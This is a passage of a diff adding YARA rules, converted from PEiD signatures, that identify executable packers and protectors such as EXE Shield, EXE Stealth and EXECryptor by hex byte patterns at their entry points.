+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20}
+    condition:
+        $a
+}
+
+rule PEiD_00555_eXcalibur_v1_03____forgot_us__h__
+{
+    meta:
+        description = "[eXcalibur v1.03 -> forgot/us (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 60 9C 9C 6A 63 73 0B EB 02 E8 E8 E8 06 00 00 00 E8 E8 73 F7 E8 E8 83 C4 04 EB 02 E8 E8 FF 0C 24 71 01 E8 79 E0 7A 01 E8 83 C4 04 9D EB 01 E8 E8 01 00 00 00 E9 5D 81 ED AE 28 40 00 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 E7 02 00 00 E8 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 B4 02 00 00 E8 60 E8}
+    condition:
+        $a
+}
+rule PEiD_00556_Exe_Guarder_1_8____Exeicon_com__h__
+{
+    meta:
+        description = "[Exe Guarder 1.8 -> Exeicon.com (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+    condition:
+        $a
+}
+
+rule PEiD_00557_Exe_Guarder_v1_8____Exeicon_com__h__
+{
+    meta:
+        description = "[Exe Guarder v1.8 -> Exeicon.com (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73 75 1C 8B D0 03 D2 03 55 F0 0F B7 12 C1 E2 02 03 55 EC 8B 12 03 16 8B 4D F4 89 51 08 EB 04 40 49 75 A9 8B 5D F4 8D 83 A1 00 00 00 50 8B 06 50 FF 53 08 89 43 0C 8D 83 AE 00 00 00 50 8B 06 50 FF 53 08 89 43 10 8D 83 BA 00 00 00 50 8B 06 50 FF 53 08 89 43 14 8D 83 C6 00 00 00 50 8B 06 50 FF 53 08 89 43 18 8D 83 D7 00 00 00 50 8B 06 50 FF 53 08 89 43 1C 8D 83 E0 00 00 00 50 8B 06 50 FF 53 08}
+    condition:
+        $a
+}
+
+rule PEiD_00558_EXE_joiner____Amok_
+{
+    meta:
+        description = "[EXE joiner -> Amok]"
+        ep_only = "true"
+    strings:
+        $a = {A1 14 A1 40 00 C1 E0 02 A3 18 A1 40}
+    condition:
+        $a
+}
+
+rule PEiD_00559_Exe_Locker_1_0____IonIce_
+{
+    meta:
+        description = "[Exe Locker 1.0 -> IonIce]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00560_Exe_Locker_v1_0____IonIce_
+{
+    meta:
+        description = "[Exe Locker v1.0 -> IonIce]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00561_EXE_Manager_Version_3_0_1994__c__Solar_Designer_
+{
+    meta:
+        description = "[EXE Manager Version 3.0 1994 (c) Solar Designer]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2}
+    condition:
+        $a
+}
+
+rule PEiD_00562_EXE_Packer_v7_0_by_TurboPower_Software_
+{
+    meta:
+        description = "[EXE Packer v7.0 by TurboPower Software]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C3 83 ?? ?? 2E ?? ?? ?? ?? B9 ?? ?? 8C C8 8E D8 8B F1 4E 8B FE}
+    condition:
+        $a
+}
+
+rule PEiD_00563_EXE_Shield_0_5____Smoke_
+{
+    meta:
+        description = "[EXE Shield 0.5 -> Smoke]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+    condition:
+        $a
+}
+
+rule PEiD_00564_Exe_Shield_2_7b_
+{
+    meta:
+        description = "[Exe Shield 2.7b]"
+        ep_only = "false"
+    strings:
+        $a = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40}
+    condition:
+        $a
+}
+
+rule PEiD_00565_EXE_Shield_v0_1b___v0_3b__v0_3____SMoKE_
+{
+    meta:
+        description = "[EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05}
+    condition:
+        $a
+}
+
+rule PEiD_00566_EXE_Shield_V0_5____Smoke_
+{
+    meta:
+        description = "[EXE Shield V0.5 -> Smoke]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+    condition:
+        $a
+}
+
+rule PEiD_00567_EXE_Shield_V0_6____SMoKE_
+{
+    meta:
+        description = "[EXE Shield V0.6 -> SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+    condition:
+        $a
+}
+
+rule PEiD_00568_EXE_Shield_V0_6____SMoKE_
+{
+    meta:
+        description = "[EXE Shield V0.6 -> SMoKE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+    condition:
+        $a
+}
+
+rule PEiD_00569_Exe_Shield_v1_7_
+{
+    meta:
+        description = "[Exe Shield v1.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90}
+    condition:
+        $a
+}
+
+rule PEiD_00570_Exe_Shield_v2_7_
+{
+    meta:
+        description = "[Exe Shield v2.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00571_Exe_Shield_v2_7b_
+{
+    meta:
+        description = "[Exe Shield v2.7b]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 00 03 9D E6 90 40 00 53 8B C3 8B FB 2D AC 90 40 00 89 85 AD 90 40 00 8D B5 AC 90 40 00 B9 40 04 00 00 F3 A5 8B FB C3 BD 00 00 00 00 8B F7 83 C6 54 81 C7 FF 10 00 00 56 57 57 56 FF 95 DA 90 40 00 8B C8 5E 5F 8B C1 C1 F9 02 F3 A5 03 C8 83 E1 03 F3 A4 EB 26 D0 12 5B 00 AC 12 5B 00 48 12 5B 00 00 00 40 00 00 D0 5A 00 00 10 5B 00 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 8B 0E B5 E6 90 40 07 56 03 76 EE 0F 18 83 C6 14 12 35 97 80 8D BD 63 39 0D B9 06 86 02 07 F3 A5 6A 04 68 06 10 12 1B FF B5 51 29 EE 10 22 95}
+    condition:
+        $a
+}
+
+rule PEiD_00572_Exe_Shield_v2_9_
+{
+    meta:
+        description = "[Exe Shield v2.9]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8}
+    condition:
+        $a
+}
+
+rule PEiD_00573_Exe_Shield_vx_x_
+{
+    meta:
+        description = "[Exe Shield vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00}
+    condition:
+        $a
+}
+
+rule PEiD_00574_EXE_Stealth_2_5_
+{
+    meta:
+        description = "[EXE Stealth 2.5]"
+        ep_only = "false"
+    strings:
+        $a = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00575_EXE_Stealth_2_73_
+{
+    meta:
+        description = "[EXE Stealth 2.73]"
+        ep_only = "false"
+    strings:
+        $a = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02}
+    condition:
+        $a
+}
+
+rule PEiD_00576_EXE_Stealth_2_74_
+{
+    meta:
+        description = "[EXE Stealth 2.74]"
+        ep_only = "false"
+    strings:
+        $a = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9}
+    condition:
+        $a
+}
+
+rule PEiD_00577_Exe_Stealth_2_75a____WebtoolMaster_
+{
+    meta:
+        description = "[Exe Stealth 2.75a -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72}
+    condition:
+        $a
+}
+
+rule PEiD_00578_Exe_Stealth_2_75a____WebtoolMaster_
+{
+    meta:
+        description = "[Exe Stealth 2.75a -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 90 60 90 E8 00 00 00 00 5D 81 ED F7 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 74 28 40 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00579_EXE_Stealth_v1_1_
+{
+    meta:
+        description = "[EXE Stealth v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00580_EXE_Stealth_v2_71_
+{
+    meta:
+        description = "[EXE Stealth v2.71]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40}
+    condition:
+        $a
+}
+rule PEiD_00581_EXE_Stealth_v2_72_
+{
+    meta:
+        description = "[EXE Stealth v2.72]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20}
+    condition:
+        $a
+}
+
+rule PEiD_00582_EXE_Stealth_v2_76____WebToolMaster_
+{
+    meta:
+        description = "[EXE Stealth v2.76 -> WebToolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 65 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 59 4F 55 52 20 41 44 20 48 45 52 45 21 50 69 52 41 43 59 20 69 53 20 41}
+    condition:
+        $a
+}
+
+rule PEiD_00583_EXE_Stealth_v2_7_
+{
+    meta:
+        description = "[EXE Stealth v2.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40}
+    condition:
+        $a
+}
+
+rule PEiD_00584_EXE2COM__Encrypted_without_selfcheck__
+{
+    meta:
+        description = "[EXE2COM (Encrypted without selfcheck)]"
+        ep_only = "true"
+    strings:
+        $a = {B3 ?? B9 ?? ?? BE ?? ?? BF ?? ?? EB ?? 54 69 ?? ?? ?? ?? 03 ?? ?? 32 C3 AA 43 49 E3 ?? EB ?? BE ?? ?? 8B C6}
+    condition:
+        $a
+}
+
+rule PEiD_00585_EXE2COM__Limited__
+{
+    meta:
+        description = "[EXE2COM (Limited)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 8B 04 3D ?? ?? 74 ?? BA ?? ?? B4 09 CD 21 CD 20}
+    condition:
+        $a
+}
+
+rule PEiD_00586_EXE2COM__Method_1__
+{
+    meta:
+        description = "[EXE2COM (Method 1)]"
+        ep_only = "true"
+    strings:
+        $a = {8C DB BE ?? ?? 8B C6 B1 ?? D3 E8 03 C3 03 ?? ?? A3 ?? ?? 8C C8 05 ?? ?? A3}
+    condition:
+        $a
+}
+
+rule PEiD_00587_EXE2COM__Packed__
+{
+    meta:
+        description = "[EXE2COM (Packed)]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? 89 ?? ?? ?? 81 ?? ?? ?? ?? ?? 8C ?? ?? ?? 8C C8 05 ?? ?? 8E C0 BE ?? ?? 8B FE 0E 57 54 59 F3 A4 06 68 ?? ?? CB}
+    condition:
+        $a
+}
+
+rule PEiD_00588_EXE2COM__regular__
+{
+    meta:
+        description = "[EXE2COM (regular)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 8C CA 81 C3 ?? ?? 3B 16 ?? ?? 76 ?? BA ?? ?? B4 09 CD 21 CD 20 0D}
+    condition:
+        $a
+}
+
+rule PEiD_00589_EXE2COM__With_CRC_check__
+{
+    meta:
+        description = "[EXE2COM (With CRC check)]"
+        ep_only = "true"
+    strings:
+        $a = {B3 ?? B9 ?? ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 43 49 32 E4 03 D0 E3}
+    condition:
+        $a
+}
+
+rule PEiD_00590_EXE32Pack_v1_36_
+{
+    meta:
+        description = "[EXE32Pack v1.36]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_00591_EXE32Pack_v1_37_
+{
+    meta:
+        description = "[EXE32Pack v1.37]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40}
+    condition:
+        $a
+}
+
+rule PEiD_00592_EXE32Pack_v1_38_
+{
+    meta:
+        description = "[EXE32Pack v1.38]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_00593_EXE32Pack_v1_39_
+{
+    meta:
+        description = "[EXE32Pack v1.39]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_00594_EXE32Pack_v1_3x_
+{
+    meta:
+        description = "[EXE32Pack v1.3x]"
+        ep_only = "true"
+    strings:
+        $a = {3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED}
+    condition:
+        $a
+}
+
+rule PEiD_00595_ExeBundle_v3_0__small_loader__
+{
+    meta:
+        description = "[ExeBundle v3.0 (small loader)]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11}
+    condition:
+        $a
+}
+
+rule PEiD_00596_ExeBundle_v3_0__standard_loader__
+{
+    meta:
+        description = "[ExeBundle v3.0 (standard loader)]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB}
+    condition:
+        $a
+}
+
+rule PEiD_00597_EXECrypt_1_0____ReBirth_
+{
+    meta:
+        description = "[EXECrypt 1.0 -> ReBirth]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 60 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 4E 28 40 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00598_EXECryptor_2_0_2_1__protected_IAT_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41}
+    condition:
+        $a
+}
+
+rule PEiD_00599_EXECryptor_2_0_2_1__protected_IAT_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+    condition:
+        $a
+}
+
+rule PEiD_00600_EXECryptor_2_0_2_1____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF ?? 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00601_EXECryptor_2_0_2_1____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00602_EXECryptor_2_1_17____Strongbit___SoftComplete_Development__h__
+{
+    meta:
+        description = "[EXECryptor 2.1.17 -> Strongbit / SoftComplete Development (h)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01}
+    condition:
+        $a
+}
+
+rule PEiD_00603_EXECryptor_2_1_17____Strongbit_SoftComplete_Development__h__
+{
+    meta:
+        description = "[EXECryptor 2.1.17 -> Strongbit/SoftComplete Development (h)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF 7F 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00604_EXECryptor_2_2_4____Strongbit_SoftComplete_Development__h1__
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00605_EXECryptor_2_2_4____Strongbit_SoftComplete_Development__h2__
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h2)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00606_EXECryptor_2_2_4____Strongbit_SoftComplete_Development_
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development]"
+        ep_only = "false"
+    strings:
+        $a = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+    condition:
+        $a
+}
+
+rule PEiD_00607_EXECryptor_2_2_6__minimum_protection_____www_strongbit_com_
+{
+    meta:
